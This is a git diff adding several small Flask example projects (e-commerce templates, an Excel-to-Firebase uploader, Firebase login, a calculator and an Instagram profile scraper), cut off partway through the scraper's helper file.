+ + + + + + + + + + + + + + {% if not orders %} + + + + {% else %} + + {% for order in orders %} + + + + + + + {% endfor %} + {% endif %} + +
addresscitypostal codephone number
No information available.
{{ order.address }}{{ order.city }}{{ order.postal_code }}{{ order.phone_number }}
+ +
+
+

Your Order History

+ + + + + + + + + + + + {% if not orders %} + + + + {% else %} + + {% for order in orders %} + + + + {% endfor %} + + + + {% endif %} + +
Order NumberOrder DateTotal Amount
No order history available.
{{ order.id }}{{ order.history }}{{ total_amount|usd }}
+ +

Remove Account

+

Check cart

+
+
+
+
+ +{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/register.html b/FLASK PROJECTS/E-commerce/templates/register.html new file mode 100644 index 00000000..43251030 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/register.html @@ -0,0 +1,43 @@ +{% extends "layout.html" %} + +{% block title %} + register +{% endblock %} + +{% block main %} + + + + +
+
+
+ +
Sign up
+ + + + + + + + + + + + + + + + + + + + + + + + +
+
+{% endblock %} diff --git a/FLASK PROJECTS/Excel to Firebase/README.md b/FLASK PROJECTS/Excel to Firebase/README.md new file mode 100644 index 00000000..0eea6c9c --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/README.md @@ -0,0 +1,82 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# PDF Page Color Counter + +## ðŸ› ï¸ Description +This Python project provides the integration that eliminates the need for manual data entry and facilitates the quick and accurate transfer of data from Excel to Firebase. Push thousands of data from excel to firebase in mins. + +**Key Feature :** + +* Excel Data Parsing: We will create a feature to parse Excel spreadsheets, extracting structured data to be used in the Firebase Realtime Database. This parsing functionality will support various Excel formats, ensuring compatibility with a wide range of data sources. + + +## âš™ï¸ Languages or Frameworks Used +- **Python**: The primary programming language used for the project. +- **Flask**: Flask is a micro web framework for Python that is lightweight and easy to use. +- **Pandas**: Pandas is a popular open-source Python library used for data manipulation and analysis. + +## 🌟 How to run + - ### Install all the requirements + - Run `pip install -r requirements.txt` to install all the requirements. + - ### Firebase Setup for Project + + - Create a [firebase](https://firebase.google.com/) project, set up a web project and get all the `Project Configurations` from `Project Settings`. + + - Navigate to the **Authentication** section in your firebase project and enable the `Email and Password` + authentication. + + - The `Project Configurations` will look as follows :- + ```bash + "apiKey": YOUR_API_KEY , + "authDomain": YOUR_AUTH_DOMAIN, + "databaseURL": YOUR_DATABASEURL, + "projectId": YOUR_PROJECT_ID, + "storageBucket": YOUR_STORAGE_BUCKET, + "messagingSenderId": YOUR_MESSAGING_SENDER_ID, + "appId": YOUR_APP_ID, + "measurementId": YOUR_MEASUREMENT_ID + ``` + - ### Setup Environment for the project + - Now create a `.env` file in your project dreictory and include the following parameters as it is :- + ```bash + export FIREBASE_APIKEY=YOUR_API_KEY + export FIREBASE_AUTHDOMAIN=YOUR_AUTH_DOMAIN + export FIREBASE_DATABASEURL=YOUR_DATABASEURL + export FIREBASE_PROJECT_ID=YOUR_PROJECT_ID + export FIREBASE_STORAGE_BUCKET=YOUR_STORAGE_BUCKET + export FIREBASE_MESSAGING_SENDER_ID=YOUR_MESSAGING_SENDER_ID + export FIREBASE_APP_ID=YOUR_APP_ID + export FIREBASE_MEASUREMENT_ID=YOUR_MEASUREMENT_ID + ``` + + - ### Setup a Virtual Enviroment + + - Run this command in your terminal `python -m venv myenv`. + - Change your directory by `cd myenv/Scripts` if on windows. + - Activate the virtual enviroment by running this command `source activate`. + - Move out from virtual env to your **Project Directory** by `cd..` . + - Install the packages if not present - `uvicorn`, `Flask`, `pandas`, `numpy`, `openpyxl`, `firebase`. + +- ### Now Just, Run the project + + -Now Run the following command - `python main.py`. + -You will see output in your terminal indicating that the Flask app is running, usually on http://127.0.0.1:5000/ + -Open your web browser and visit the URL specified in the output to access your Flask application. + + +## 📺 Demo +![image](https://github.com/Om25091210/Python-project-Scripts/assets/74484315/85873602-a1e2-4a1e-acef-8b66a27ae488) +![image](https://github.com/Om25091210/Python-project-Scripts/assets/74484315/d7d7bb3f-eaf0-4963-97e7-f1204539b10f) + + + +## 🤖 Author + +Github - [OM YADAV](https://github.com/Om25091210) +LinkedIn - [OM YADAV](www.linkedin.com/in/omyadav) + + + + diff --git a/FLASK PROJECTS/Excel to Firebase/firebase-sdk.json b/FLASK PROJECTS/Excel to Firebase/firebase-sdk.json new file mode 100644 index 00000000..79a99231 --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/firebase-sdk.json @@ -0,0 +1,12 @@ +{ + "type": "service_account", + "project_id": "your project ID", + "private_key_id": "your private_key_id", + "private_key": "your private_key", + "client_email": "your client email", + "client_id": "your client id", + "auth_uri": "https://accounts.google.com/o/oauth2/auth", + "token_uri": "https://oauth2.googleapis.com/token", + "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", + "client_x509_cert_url": "client_x509_cert_url" +} diff --git a/FLASK PROJECTS/Excel to Firebase/main.py b/FLASK PROJECTS/Excel to Firebase/main.py new file mode 100644 index 00000000..eb2ccda0 --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/main.py @@ -0,0 +1,124 @@ +import firebase_admin +from flask import Flask,render_template,request,redirect +from flask.helpers import url_for +from openpyxl import load_workbook +import pandas as pd +import numpy as np +# from firebase_admin import db +# from firebase_admin import credentials +from datetime import date +import datetime +from firebase import Firebase +import os + +firebase_config = { + "apiKey": "your apiKey", + "authDomain": "", + "databaseURL": "database url", + "projectId": "your project id", + "storageBucket": "your storage bucket id", + "messagingSenderId": "your sender id", + "appId": "your appId", + "measurementId": "your measurement id" +} +firebase = Firebase(firebase_config) +db = firebase.database() + + +app = Flask(__name__) + +@app.route("/",methods = ['GET','POST']) +def start(): + if request.method == 'POST': + global file,s_ds1 + file = request.files['file'] + #file.save("random.xlsx") + file.save("static/police_record_today.xlsx") + global wb + wb = load_workbook(file) # Work Book + # Work Sheet MCRC.RM.COLL + sheets=wb.sheetnames + + return render_template("sheetname.html",sheets = sheets) + return render_template("index.html") + +@app.route("/sheet-selection",methods = ['GET','POST']) +def sheet_selection(): + if request.method == 'POST': + sheet_name_user = request.form.get("sheet_selected") + print(sheet_name_user) + today = date.today() + ds1 = pd.read_excel("static/police_record_today.xlsx", sheet_name_user) + ds2=pd.read_excel("static/police_record_yesterday.xlsx",sheet_name_user) + #appending both data + merged = ds1.append(ds2) + #dropping duplicates + merged = merged.drop_duplicates(keep=False).sort_index() + #converting to string + data=merged.values.tolist() + for i in range(len(data)): + if(str(data[i][10])!="nan"): + fd=datetime.datetime.strptime(str(data[i][10]), '%d.%m.%Y').strftime('%Y.%m.%d').replace(".","") + key=fd+str(data[i][1])+str(data[i][2])+str(data[i][3])+str(data[i][4])+str(data[i][6])+str(data[i][7])+str(data[i][8]); + print(key) + push_key=key.replace(".","").replace(" ","") + if(str(data[i][1])=="nan" and str(data[i][2])=="nan"): + continue + ct=str(data[i][3]) + cn=str(data[i][4]).replace(".0","") + name=str(data[i][5]) + ca_yr=str(data[i][6]).replace(".0","") + crn=str(data[i][7]).replace(".0","") + cr_yr=str(data[i][8]).replace(".0","") + d_r=str(data[i][9]) + rm_date=str(data[i][10]) + before=str(data[i][11]) + + if(str(data[i][3])=="nan"): + ct="None" + if(str(data[i][4])=="nan"): + cn="None" + if(str(data[i][5])=="nan"): + name="None" + if(str(data[i][6])=="nan"): + ca_yr="None" + if(str(data[i][7])=="nan"): + crn="None" + if(str(data[i][8])=="nan"): + cr_yr="None" + if(str(data[i][9])=="nan"): + d_r="None" + if(str(data[i][10])=="nan"): + rm_date="None" + if(str(data[i][11])=="nan"): + before="None" + diction = { + 'A':"", + 'B':str(data[i][1]), + 'C':str(data[i][2]), + 'D':ct, + 'E':cn, + 'F':name, + 'G':ca_yr, + 'H':crn, + 'I':cr_yr, + 'J':d_r, + 'K':rm_date, + 'L':before, + 'date':str(today), + 'pushkey':push_key, + 'type':sheet_name_user.replace(".","_").strip() + } + db.child('data').child(push_key).set(diction) + os.remove("static/police_record_yesterday.xlsx") + os.rename("static/police_record_today.xlsx","static/police_record_yesterday.xlsx") + #s_ds1.to_excel("static/police_record_yesterday.xlsx",index=False)#save today file as tomorrow + + + return redirect(url_for('start')) + + + +if __name__ == '__main__': + app.run(debug = True) + diff --git a/FLASK PROJECTS/Excel to Firebase/static/police_record_yesterday.xlsx b/FLASK PROJECTS/Excel to Firebase/static/police_record_yesterday.xlsx new file mode 100644 index 00000000..592cf57e Binary files /dev/null and b/FLASK PROJECTS/Excel to Firebase/static/police_record_yesterday.xlsx differ diff --git a/FLASK PROJECTS/Excel to Firebase/static/script.js b/FLASK PROJECTS/Excel to Firebase/static/script.js new file mode 100644 index 00000000..9fa4e938 --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/static/script.js @@ -0,0 +1,75 @@ + +const dragArea=document.querySelector('.drag-area'); +const dragtext=document.querySelector('.header'); + +let button =document.querySelector('.button'); +let input=document.querySelector('input'); +let file; + +button.onclick=()=>{ + input.click(); +}; + +//wen browse +input.addEventListener('change',function(){ + file=this.files[0]; + dragArea.classList.add('active'); + displayFile(); +}); + +//When file is inside the drag area +dragArea.addEventListener('dragover',(event)=>{ + event.preventDefault(); + dragtext.textContent="Release to upload" + dragArea.classList.add('active'); + //console.log('File is inside the drag area'); +}); + +//When file leaves the drag area +dragArea.addEventListener('dragleave',()=>{ + dragtext.textContent="Drag & Drop"; + dragArea.classList.remove('active'); + //console.log("File left the drag area"); +}); + +//When the file is dropped in the drag area +dragArea.addEventListener('drop',(event)=>{ + event.preventDefault(); + + file=event.dataTransfer.files[0]; + displayFile(); + //console.log("the file is droped in the drag area"); +}); + + +function displayFile(){ + let fileType=file.type; + //console.log(file); + if(fileType=='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'){ + let fileReader=new FileReader(); + fileReader.onload=()=>{ + let fileURL =fileReader.result; + console.log(fileURL) + }; + fileReader.readAsDataURL(file); + console.log(fileType); + } + else if(fileType=='application/vnd.ms-excel'){ + let fileReader=new FileReader(); + fileReader.onload=()=>{ + let fileURL =fileReader.result; + console.log(fileURL) + }; + fileReader.readAsDataURL(file); + console.log(fileType); + } + else{ + alert('This file type is not supported.'); + dragArea.classList.remove('active'); + dragtext.textContent="Drag & Drop"; + } +} + + + + diff --git a/FLASK PROJECTS/Excel to Firebase/static/styles.css b/FLASK PROJECTS/Excel to Firebase/static/styles.css new file mode 100644 index 00000000..bb8702eb --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/static/styles.css @@ -0,0 +1,72 @@ +@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500&display=swap'); + + +*{ + margin:0; + padding:0; + box-sizing: border-box; + font-family: 'Poppins',sans-serif; +} + +body{ + display: flex; + align-items: center; + justify-content: center; + min-height: 100vh; + flex-direction: column; + background: #e0eafc; + background: -webkit-linear-gradient(to right,#cfdef3,#e0eafc); + background: linear-gradient(to right,#cfdef3,#e0eafc); +} + +.container{ + max-width: 650px; + width: 100%; + padding:30px; + background: #fff; + border-radius: 20px; + box-shadow: rgba(149,157,165,0.2) 0px 8px 24px; +} + +.drag-area{ + height: 400px; + border: 3px dashed #e0eafc; + display: flex; + align-items: center; + justify-content: center; + flex-direction: column; + margin: 10px auto; +} + +h3{ + margin-bottom: 20px; + font-weight: 500; +} + +.drag-area .icon{ + font-size: 50px; + color:#1383ff; +} + +.drag-area .header{ + font-size: 20px; + font-weight: 500; + color: #34495e; +} + +.drag-area .support{ + font-size: 12px; + color: gray; + margin: 10px 0 15px 0; +} + +.drag-area .button{ + font-size: 20px; + font-weight: 500; + color: #1683ff; + cursor: pointer; +} + +.drag-area.active{ + border: 2px solid #1683ff; +} \ No newline at end of file diff --git a/FLASK PROJECTS/Excel to Firebase/templates/index.html b/FLASK PROJECTS/Excel to Firebase/templates/index.html new file mode 100644 index 00000000..bebb9a6e --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/templates/index.html @@ -0,0 +1,37 @@ + + + + + + + Drag, Drop & Browse + + + + +

{{sheets}}

+
+ +
+
+

Upload your File

+
+
+ +
+ Drag & Drop + or browse + + Supports only Excel sheets +
+
+ + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Excel to Firebase/templates/sheetname.html b/FLASK PROJECTS/Excel to Firebase/templates/sheetname.html new file mode 100644 index 00000000..f3181dcd --- /dev/null +++ b/FLASK PROJECTS/Excel to Firebase/templates/sheetname.html @@ -0,0 +1,38 @@ + + + + + + + Sheets + + + +

Sheet Names

+
+ +
+ + {% for item in sheets%} +
+ + +
+ + {% endfor %} +
+ +
+ + + \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/.gitignore b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/.gitignore new file mode 100644 index 00000000..703f4879 --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/.gitignore @@ -0,0 +1,3 @@ +.env +*.pyc +/__pycache__ \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/README.md b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/README.md new file mode 100644 index 00000000..96191030 --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/README.md @@ -0,0 +1,66 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# Firebase Authentication for Flask Application + +## ðŸ› ï¸ Description +This project enables developers to implement secure user authentication features in their Flask applications with ease using Firebase Authentication which offers various authentication methods, including email/password, social media login (such as Google, Facebook, Twitter), and more. It handles the entire authentication process, including user registration, login, and password reset, taking care of security best practices like password hashing and token-based authentication. + +## âš™ï¸ Languages or Frameworks Used + - Flask, Firebase + - HTML, CSS, Bootstrap + + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + - ### Firebase Setup for Project + + - Create a [firebase](https://firebase.google.com/) project, set up a web project and get all the `Project Configurations` from `Project Settings`. + + - Navigate to the **Authentication** section in your firebase project and enable the `Email and Password` + authentication. + + - The `Project Configurations` will look as follows :- +```bash + "apiKey": YOUR_API_KEY , + "authDomain": YOUR_AUTH_DOMAIN, + "databaseURL": YOUR_DATABASEURL, + "projectId": YOUR_PROJECT_ID, + "storageBucket": YOUR_STORAGE_BUCKET, + "messagingSenderId": YOUR_MESSAGING_SENDER_ID, + "appId": YOUR_APP_ID, + "measurementId": YOUR_MEASUREMENT_ID +``` +- ### Setup Environment for the project + - Now create a `.env` file in your project dreictory and include the following parameters as it is :- +```bash +export FIREBASE_APIKEY=YOUR_API_KEY +export FIREBASE_AUTHDOMAIN=YOUR_AUTH_DOMAIN +export FIREBASE_DATABASEURL=YOUR_DATABASEURL +export FIREBASE_PROJECT_ID=YOUR_PROJECT_ID +export FIREBASE_STORAGE_BUCKET=YOUR_STORAGE_BUCKET +export FIREBASE_MESSAGING_SENDER_ID=YOUR_MESSAGING_SENDER_ID +export FIREBASE_APP_ID=YOUR_APP_ID +export FIREBASE_MEASUREMENT_ID=YOUR_MEASUREMENT_ID +``` + +- ### Now Just, Run the project + - To the run the project, go to the `bash` terminal of VSCode or any other code editor and run `./start_server.sh`. + - You don't have to care about setting `.env` then yourself then. + + +## 📺 Demo +![image](https://github.com/MBSA-INFINITY/MBSA-Forms/assets/85332648/2200ef81-57de-4619-ba33-4bed2cf31780) +![image](https://github.com/MBSA-INFINITY/MBSA-Forms/assets/85332648/ad83c91d-e140-4f4b-9b30-81b4903f1011) + +## 🤖 Author + +Github - [MBSA-INFINITY](https://github.com/MBSA-INFINITY) +LinkedIn - [MBSAIADITYA](https://www.linkedin.com/in/mbsaiaditya/) +Portfolio - [MBSA](https://mbsaiaditya.in/) + + + + diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/db.py b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/db.py new file mode 100644 index 00000000..5d0b8420 --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/db.py @@ -0,0 +1,24 @@ +#Importing Firebase +from firebase import Firebase +import os + +#Intializing Firebase Configuration from the Environment Variables +config = { + "apiKey": os.environ.get("FIREBASE_APIKEY"), + "authDomain": os.environ.get("FIREBASE_AUTHDOMAIN"), + "databaseURL": os.environ.get("FIREBASE_DATABASEURL"), + "projectId": os.environ.get("FIREBASE_PROJECT_ID"), + "storageBucket": os.environ.get("FIREBASE_STORAGE_BUCKET"), + "messagingSenderId": os.environ.get("FIREBASE_MESSAGING_SENDER_ID"), + "appId": os.environ.get("FIREBASE_APP_ID"), + "measurementId": os.environ.get("FIREBASE_MEASUREMENT_ID") + } + +#Intializing Firebase Object +firebase = Firebase(config) + +#Intializing Firebase Databse +db = firebase.database() + +#Intializing Firebase Auth +auth = firebase.auth() \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/main.py b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/main.py new file mode 100644 index 00000000..b9f1ef2b --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/main.py @@ -0,0 +1,88 @@ +#Importing Flask and other important functions +from flask import Flask, render_template, request, redirect, abort, flash, session ,url_for +#Importing firebase auth from db.py +from db import auth + +app = Flask(__name__) +app.secret_key = "MBSAIADITYA" + +exempted_endpoints = ['signup','login','static'] + +''' +Signup Route +''' +@app.route("/signup", methods = ['GET','POST']) +def signup(): + if request.method=='POST': + name = request.form.get("name") + username = request.form.get("email") + password = request.form.get("password") + repassword = request.form.get("repassword") + if password == repassword: + if len(password)>=6: + try: + #Creating User in firebase using create_user_with_email_and_password method of firebase/auth + _user_ = auth.create_user_with_email_and_password(username ,password) + flash("User has been created successfully! Please Login") + return redirect("/") + except Exception as e: + abort(500, {'message': str(e)}) + else: + flash('Password is less than 6 characters!') + return redirect("/signup") + else: + flash('Both Passwords do not match!') + return redirect("/signup") + return render_template("signup.html") + +''' +Login Route +''' +@app.route("/login",methods = ['GET','POST'] ) +def login(): + if request.method == 'POST': + data = dict(request.form) + email = data.get("email") + password = data.get("password") + try: + #Signing User in firebase using sign_in_with_email_and_password method of firebase/auth + user = auth.sign_in_with_email_and_password(email ,password) + print(user) + session['user'] = user['localId'] + session['email'] = user['email'] + return redirect("/") + except Exception as e: + abort(500, {'message': str(e)}) + + if 'user' in session: + return redirect("/") + return render_template("login.html") + +''' +Main dashboard route which has to be protected +''' +@app.route("/",methods = ['GET','POST']) +def start(): + return render_template("index.html", user=session['email']) + +''' +Logout Route +''' +@app.route("/logout",methods = ['GET','POST']) +def logout(): + session.pop('user') + session.pop('email') + flash("User logged out successfully!") + return redirect("/") + + +'''This is an important middleware that run before any request made to flask application and checks +when user is authenticated or not! +''' + +@app.before_request +def before_request_func(): + if request.endpoint in exempted_endpoints: + return + if 'user' not in session: + return redirect(url_for('login')) \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/requirements.txt b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/requirements.txt new file mode 100644 index 00000000..a3d732b4 --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/requirements.txt @@ -0,0 +1,8 @@ +Flask==2.0.1 +firebase==3.0.1 +python-jwt==4.0.0 +gcloud==0.18.3 +sseclient==0.0.27 +pycryptodome==3.18.0 +requests-toolbelt==0.10.1 +urllib3==1.26.15 \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/run.py b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/run.py new file mode 100644 index 00000000..061bab1c --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/run.py @@ -0,0 +1,3 @@ +from main import app +if __name__ == '__main__': + app.run() \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/start_server.sh b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/start_server.sh new file mode 100644 index 00000000..0c9973db --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/start_server.sh @@ -0,0 +1,2 @@ +source .env +python run.py \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/static/login.png b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/static/login.png new file mode 100644 index 00000000..cb288447 Binary files /dev/null and b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/static/login.png differ diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/index.html b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/index.html new file mode 100644 index 00000000..03bb7b1f --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/index.html @@ -0,0 +1,13 @@ + + + + + + Document + + + Hi {{user}}
+ Logout + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/login.html b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/login.html new file mode 100644 index 00000000..0cf2866e --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/login.html @@ -0,0 +1,133 @@ + + + + + + Login + + + + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for message in messages %} + + {% endfor %} +
+ {% endif %} + {% endwith %} +
+ +

Login Page

+ +
+ + +
+
+ + +
+ + New User?
+ +

MBSA © 2023 - 2024

+
+
+ + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/signup.html b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/signup.html new file mode 100644 index 00000000..c591b867 --- /dev/null +++ b/FLASK PROJECTS/Firebase Authenticatio in Flask Application/templates/signup.html @@ -0,0 +1,142 @@ + + + + + + Signup + + + + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for message in messages %} + + {% endfor %} +
+ {% endif %} + {% endwith %} +
+ +

Signup Page

+ +
+ + +
+
+ + +
+
+ + +

* Password should be atleast 6 characters

+
+
+ + +
+ + Already a User!
+ +

MBSA © 2023 - 2024

+
+
+ + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/FlaskSimpleCalculator/app.py b/FLASK PROJECTS/FlaskSimpleCalculator/app.py index c1c2cfae..464f7b3f 100644 --- a/FLASK PROJECTS/FlaskSimpleCalculator/app.py +++ b/FLASK PROJECTS/FlaskSimpleCalculator/app.py @@ -1,22 +1,33 @@ -from flask import Flask, render_template, request -from handle_calculation import calculate +from flask import Flask, render_template, request, jsonify +# from handle_calculation import calculate app = Flask(__name__) -app.config.from_object(__name__) -@app.route('/') -def welcome(): +@app.route("/") +def home(): return render_template('form.html') -@app.route('/result', methods=['POST']) -def result(): - operand_1 = request.form.get("operand_1", type=int) - operand_2 = request.form.get("operand_2", type=int) - operator = request.form.get("operator") - result = calculate(operand_1, operand_2, operator) - entry = result - return render_template('result.html', entry=entry) +@app.route("/results", methods=['POST','GET']) +def predict(): + if request.method == 'POST' and 'operand_1' in request.form and 'operand_2' in request.form and 'operator' in request.form: + operand_1 = float(request.form.get('operand_1')) + operand_2 = float(request.form.get('operand_2')) + operator = request.form.get('operator') + if(operand_2 == 0 and operator=='Division'): + result='Invalid_operation' + elif(operator == 'Addition'): + result = operand_1 + operand_2 + elif(operator == 'Subtraction'): + result = operand_1 - operand_2 + elif(operator == 'Multiplication'): + result = operand_1 * operand_2 + elif(operator == 'Division'): + result = operand_1 / operand_2 + else: + result = 'Invalid_Choice' + # result = calculate(operand_1, operand_2, operator) + return render_template("form.html",prediction_text=str(result)) if __name__ == '__main__': app.run(debug=True) \ No newline at end of file diff --git a/FLASK PROJECTS/FlaskSimpleCalculator/handle_calculation.py b/FLASK PROJECTS/FlaskSimpleCalculator/handle_calculation.py deleted file mode 100644 index 7a7c8562..00000000 --- a/FLASK PROJECTS/FlaskSimpleCalculator/handle_calculation.py +++ /dev/null @@ -1,26 +0,0 @@ -# handle_calculation.py - -def calculate(operand_1: int, operand_2: int, operator: str) -> int: - """ - calculation between the operands using the operator and returns a value - - Parameters: - - -operand_1: the first given value - -operand_2: the second given value - -operator: used to trigger the calculation - """ - if(operand_2 == 0 and operator=='Division'): - result='Invalid_operation' - elif(operator == 'Addition'): - result = operand_1 + operand_2 - elif(operator == 'Subtraction'): - result = operand_1 - operand_2 - elif(operator == 'Multiplication'): - result = operand_1 * operand_2 - elif(operator == 'Division'): - result = operand_1 / operand_2 - else: - result = 'Invalid_Choice' - - return result diff --git a/FLASK PROJECTS/FlaskSimpleCalculator/templates/form.html b/FLASK PROJECTS/FlaskSimpleCalculator/templates/form.html index 45f94b65..9328645c 100644 --- a/FLASK PROJECTS/FlaskSimpleCalculator/templates/form.html +++ b/FLASK PROJECTS/FlaskSimpleCalculator/templates/form.html @@ -15,23 +15,23 @@
-
+
- +
- +
- @@ -46,6 +46,9 @@
+
+
+ {{prediction_text}}
diff --git a/FLASK PROJECTS/FlaskSimpleCalculator/templates/result.html b/FLASK PROJECTS/FlaskSimpleCalculator/templates/result.html deleted file mode 100644 index 9b411a4b..00000000 --- a/FLASK PROJECTS/FlaskSimpleCalculator/templates/result.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - RESULT - - - - -
-
-

YOUR RESULT IS

-
-
-
-
-
- -
- -
-
-
- Go Back -
- - \ No newline at end of file diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/.gitignore b/FLASK PROJECTS/Instagram Scraper using Flask/.gitignore new file mode 100644 index 00000000..693ed189 --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/.gitignore @@ -0,0 +1,3 @@ +*.pyc +/__pycache__ +.env \ No newline at end of file diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/README.md b/FLASK PROJECTS/Instagram Scraper using Flask/README.md new file mode 100644 index 00000000..cbfd483a --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/README.md @@ -0,0 +1,38 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# Instragam Profile Scraper in Flask + +## ðŸ› ï¸ Description +This project is about developing a an API in **Flask** using **Instaloader** and **Instagram's GraphQL API's** to scrape the no of likes and comments of all of the post of a public instagram profile. + +## âš™ï¸ Languages or Frameworks Used + - Flask + - Instaloader, Instgram GraphQL APIs + + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + +- ### Now Just, Run the project + - To the run the project, go to the `bash` terminal of VSCode or any other code editor and run `./start_server.sh`. + - The server would start running on `http://127.0.0.1:{port_number}`.(generally http://127.0.0.1:5000) + + - ### Explore the API + Go to the browser/postman/thunderclient and hit the following URL http://127.0.0.1:5000/get_profile/{instagram_username} + > Note: The Instagram Profile must be **public**. + + +## 📺 Demo +- Main screen of the application. +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/0b57f8f5-aa8a-416e-9fad-e86c4e416e33) +- Result for my instagram account (**@mbsaiaditya**). +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/2069060a-9fdf-4877-aadc-e708e5505e60) + +## 🤖 Author +Github - [MBSA-INFINITY](https://github.com/MBSA-INFINITY) +LinkedIn - [MBSAIADITYA](https://www.linkedin.com/in/mbsaiaditya/) +Portfolio - [MBSA](https://mbsaiaditya.in/) +Instagram - [MBSAIADITYA](https://instagram.com/mbsaiaditya) diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/app.py b/FLASK PROJECTS/Instagram Scraper using Flask/app.py new file mode 100644 index 00000000..9ddb71a1 --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/app.py @@ -0,0 +1,35 @@ +from flask import Flask, request, jsonify +from helper import get_all_posts, scrape_user_id +import instaloader + +app = Flask(__name__) +insta = instaloader.Instaloader() + +@app.route('/', methods=['GET']) +def start(): + return "Instragram Scraper Server is Running!!" + +@app.route('/get_profile/', methods=['GET']) +def get_instagram_profile(username): + try: + profile = instaloader.Profile.from_username(insta.context, username) + #Get + user_id = scrape_user_id(username) + # Get post data for all posts + post_data = get_all_posts(user_id) + response = { + "Username": profile.username, + "Number Of Posts": profile.mediacount, + "Posts": post_data + } + return jsonify(response) + except instaloader.exceptions.ProfileNotExistsException: + return jsonify({"error": "Profile does not exist"}), 404 + except instaloader.exceptions.InstaloaderException as e: + return jsonify({"error": f"An error occurred: {str(e)}"}), 500 + except Exception as e: + return jsonify({"error": f"{str(e)}"}), 400 + + +if __name__ == '__main__': + app.run() diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/helper.py b/FLASK PROJECTS/Instagram Scraper using Flask/helper.py new file mode 100644 index 00000000..a1f2dde2 --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/helper.py @@ -0,0 +1,65 @@ +import json +import httpx +from urllib.parse import quote +from typing import Dict +import jmespath + +client = httpx.Client( + headers={ + "x-ig-app-id": "936619743392459", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36", + "Accept-Language": "en-US,en;q=0.9,ru;q=0.8", + "Accept-Encoding": "gzip, deflate, br", + "Accept": "*/*", + } +) + +def scrape_user_id(username: str): + """Scrape Instagram user's data""" + result = client.get( + f"https://i.instagram.com/api/v1/users/web_profile_info/?username={username}", + ) + data = json.loads(result.content) + user_data = data["data"]["user"] + user_id = user_data.get("id") + return user_id + +def parse_post(data: Dict) -> Dict: + result = 